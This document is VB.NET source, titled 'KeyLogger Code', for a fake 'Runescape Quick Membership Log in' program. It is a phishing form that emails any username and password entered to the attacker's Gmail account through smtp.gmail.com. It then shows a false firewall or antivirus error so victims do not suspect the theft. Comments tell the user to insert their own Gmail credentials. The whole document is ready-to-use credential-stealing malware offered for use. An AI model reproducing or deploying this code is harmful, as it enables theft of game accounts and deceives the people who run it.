KeyLogger Code

Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage
        Try
            If TextBox1.Text & TextBox2.Text = "" Then
                Call MsgBox("Please Enter A User Name and Password!", , "Error!")
            End If
            MyMailMessage.From() = New MailAddress("xxxx") 'Replace The X's with your GMAIL Address
            MyMailMessage.To.Add("xxxx") 'Replace The X's with your GMAIL Address
            MyMailMessage.Subject = "Account Information"
            MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("xxxx", "yyyy") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
            SMTP.Send(MyMailMessage)
            'The Below Message is the Fail Message they get, during this message it will email the information to your email
            Call MsgBox("Something is blocking this program. Please Check If your Firewall or AntiVirus Is Blocking It", , "Runescape Quick Membership Log in")
        Catch ex As Exception
            'If The Program Does Run Into An Actually Real Error The Following Will Occur and close the program
            Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program"(MsgBoxStyle.Critical))
            Application.Exit()
        End Try
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Me.Close()
    End Sub
End Class